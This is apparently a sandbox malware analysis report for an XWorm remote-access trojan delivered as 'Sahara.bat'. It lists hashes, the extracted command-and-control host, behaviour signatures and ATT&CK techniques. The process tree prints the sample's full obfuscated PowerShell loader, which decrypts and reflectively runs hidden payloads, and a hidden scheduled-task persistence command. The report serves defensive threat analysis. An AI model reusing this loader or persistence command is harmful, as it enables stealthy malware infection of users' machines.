xworm | 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed

Analysis

max time kernel
142s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
07/06/2024, 09:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Sahara.bat
Size 304KB
Sample240607-k4fz2afa92
SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
MD5 0315e971e239cdd0ddc7e6b6a69b588f
SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

politics-cathedral.gl.at.ply.gg:13199

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/4056-48-0x0000023EF95F0000-0x0000023EF960A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4056	powershell.exe
3	4056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe
4228	powershell.exe
4056	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2188	powershell.exe
2188	powershell.exe
4228	powershell.exe
4228	powershell.exe
4056	powershell.exe
4056	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeIncreaseQuotaPrivilege	4228	powershell.exe
Token: SeSecurityPrivilege	4228	powershell.exe
Token: SeTakeOwnershipPrivilege	4228	powershell.exe
Token: SeLoadDriverPrivilege	4228	powershell.exe
Token: SeSystemProfilePrivilege	4228	powershell.exe
Token: SeSystemtimePrivilege	4228	powershell.exe
Token: SeProfSingleProcessPrivilege	4228	powershell.exe
Token: SeIncBasePriorityPrivilege	4228	powershell.exe
Token: SeCreatePagefilePrivilege	4228	powershell.exe
Token: SeBackupPrivilege	4228	powershell.exe
Token: SeRestorePrivilege	4228	powershell.exe
Token: SeShutdownPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeSystemEnvironmentPrivilege	4228	powershell.exe
Token: SeRemoteShutdownPrivilege	4228	powershell.exe
Token: SeUndockPrivilege	4228	powershell.exe
Token: SeManageVolumePrivilege	4228	powershell.exe
Token: 33	4228	powershell.exe
Token: 34	4228	powershell.exe
Token: 35	4228	powershell.exe
Token: 36	4228	powershell.exe
Token: SeIncreaseQuotaPrivilege	4228	powershell.exe
Token: SeSecurityPrivilege	4228	powershell.exe
Token: SeTakeOwnershipPrivilege	4228	powershell.exe
Token: SeLoadDriverPrivilege	4228	powershell.exe
Token: SeSystemProfilePrivilege	4228	powershell.exe
Token: SeSystemtimePrivilege	4228	powershell.exe
Token: SeProfSingleProcessPrivilege	4228	powershell.exe
Token: SeIncBasePriorityPrivilege	4228	powershell.exe
Token: SeCreatePagefilePrivilege	4228	powershell.exe
Token: SeBackupPrivilege	4228	powershell.exe
Token: SeRestorePrivilege	4228	powershell.exe
Token: SeShutdownPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeSystemEnvironmentPrivilege	4228	powershell.exe
Token: SeRemoteShutdownPrivilege	4228	powershell.exe
Token: SeUndockPrivilege	4228	powershell.exe
Token: SeManageVolumePrivilege	4228	powershell.exe
Token: 33	4228	powershell.exe
Token: 34	4228	powershell.exe
Token: 35	4228	powershell.exe
Token: 36	4228	powershell.exe
Token: SeIncreaseQuotaPrivilege	4228	powershell.exe
Token: SeSecurityPrivilege	4228	powershell.exe
Token: SeTakeOwnershipPrivilege	4228	powershell.exe
Token: SeLoadDriverPrivilege	4228	powershell.exe
Token: SeSystemProfilePrivilege	4228	powershell.exe
Token: SeSystemtimePrivilege	4228	powershell.exe
Token: SeProfSingleProcessPrivilege	4228	powershell.exe
Token: SeIncBasePriorityPrivilege	4228	powershell.exe
Token: SeCreatePagefilePrivilege	4228	powershell.exe
Token: SeBackupPrivilege	4228	powershell.exe
Token: SeRestorePrivilege	4228	powershell.exe
Token: SeShutdownPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeSystemEnvironmentPrivilege	4228	powershell.exe
Token: SeRemoteShutdownPrivilege	4228	powershell.exe
Token: SeUndockPrivilege	4228	powershell.exe
Token: SeManageVolumePrivilege	4228	powershell.exe
Token: 33	4228	powershell.exe
Token: 34	4228	powershell.exe
Token: 35	4228	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 2188	3928	cmd.exe	77
PID 3928 wrote to memory of 2188	3928	cmd.exe	77
PID 2188 wrote to memory of 4228	2188	powershell.exe	78
PID 2188 wrote to memory of 4228	2188	powershell.exe	78
PID 2188 wrote to memory of 1664	2188	powershell.exe	81
PID 2188 wrote to memory of 1664	2188	powershell.exe	81
PID 1664 wrote to memory of 1592	1664	WScript.exe	82
PID 1664 wrote to memory of 1592	1664	WScript.exe	82
PID 1592 wrote to memory of 4056	1592	cmd.exe	84
PID 1592 wrote to memory of 4056	1592	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_904_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_904.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_904.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_904.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1592
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_904.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_904.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4056

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004EC
1⤵
PID:992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 acc79cc65eaea62a945398adad81cb5615e1480fa659c904aa5cd450165c3d66
MD5 7c6fe7c423380b59d82d999572ed03d1
SHA1 4a07399f1714b5cfaea2f92a952d1f4473c216ae
SHA512 6e617a604568bafa22773bd3dab3b681ccfd6869ded8e11802cbbdd9ea71d4998e2a1bfcdcf07c4ec473c3b028fe593448a33e7e9c904792221e89fb8359d665
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636
MD5 eb15ee5741b379245ca8549cb0d4ecf8
SHA1 3555273945abda3402674aea7a4bff65eb71a783
SHA512 1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_iw05vcji.z35.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iw05vcji.z35.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

startup_str_904.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_904.bat
Size 304KB
SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
MD5 0315e971e239cdd0ddc7e6b6a69b588f
SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_904.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_904.vbs
Size 115B
SHA256 b3c6ac2d793bd59d2aec2a03726ae90898e2a15d5c0d87cddd81416363a07828
MD5 c42577f5072109a86f9326d208ae27ae
SHA1 021c4390f181b0d78dd67e14f93bafe5897468d6
SHA512 1471789cbe190b2a04656e07680ded851a4c21c73bc4d438ba8e33a185a9da664d10cb7e6aace7e01551a2f4f315410c404dbf20591512b79d80abe6fb07147d
MD5 SHA1 SHA512

Submit Download

memory/2188-49-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/2188-11-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/2188-14-0x000002CC55B10000-0x000002CC55B4C000-memory.dmp

Download

memory/2188-13-0x000002CC55890000-0x000002CC55898000-memory.dmp

Download

memory/2188-50-0x00007FFDA2C73000-0x00007FFDA2C75000-memory.dmp

Download

memory/2188-0-0x00007FFDA2C73000-0x00007FFDA2C75000-memory.dmp

Download

memory/2188-1-0x000002CC558A0000-0x000002CC558C2000-memory.dmp

Download

memory/2188-10-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/2188-12-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/4056-56-0x0000023EF9A10000-0x0000023EF9A1B000-memory.dmp

Download

memory/4056-48-0x0000023EF95F0000-0x0000023EF960A000-memory.dmp

Download

memory/4056-51-0x0000023EF9930000-0x0000023EF99BE000-memory.dmp

Download

memory/4056-55-0x0000023EF9900000-0x0000023EF991E000-memory.dmp

Download

memory/4056-52-0x0000023EF99C0000-0x0000023EF9A06000-memory.dmp

Download

memory/4056-54-0x0000023EF98F0000-0x0000023EF98FD000-memory.dmp

Download

memory/4056-53-0x0000023EE1050000-0x0000023EE1059000-memory.dmp

Download

memory/4228-30-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/4228-27-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/4228-26-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/4228-25-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download

memory/4228-24-0x00007FFDA2C70000-0x00007FFDA3732000-memory.dmp

Download